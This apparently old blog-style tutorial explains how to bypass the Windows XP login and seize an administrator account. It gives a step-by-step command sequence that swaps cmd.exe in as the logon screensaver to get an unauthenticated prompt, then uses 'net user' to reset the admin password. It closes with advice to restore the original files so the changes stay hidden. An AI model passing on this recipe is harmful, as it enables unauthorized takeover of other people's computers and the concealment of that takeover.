Windows XP

All of us in one time have been locked out of our computer and forced to login a Guest or Limited Account (well that is if you have it enabled). While operating systems are changing from Windows Vista to the upcoming Windows 7, some people are still using Windows XP and sometimes, you may forget your password. There are still some old tricks you can use to bypass Windows XP protection and enable a Admin Account.

1.) Goto Start > Run > Type in CMD (Command Prompt Shortcut)

2.) Once Command Prompt opens (it should be a window with  black background and white letters, it depends on your settings)

3.) Type the following:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes the original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is you made the  computer backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP

Once you restart and you see the same window you saw when you entered the commands above,  type the following in the Command Prompt:

“net user <admin account name here> password”

If the Administrator Account is called “Bob” and you want the password to be “abc” enter this

“net user Bob abc”

So once you ran the command with the account name and password you desire, go ahead and logout and log back in with the account or restart and then login with the account you created. After you’re done and enter in your admin account, don’t forget to copy the contents of temphack back into the system32 directory (makes your changes hidden).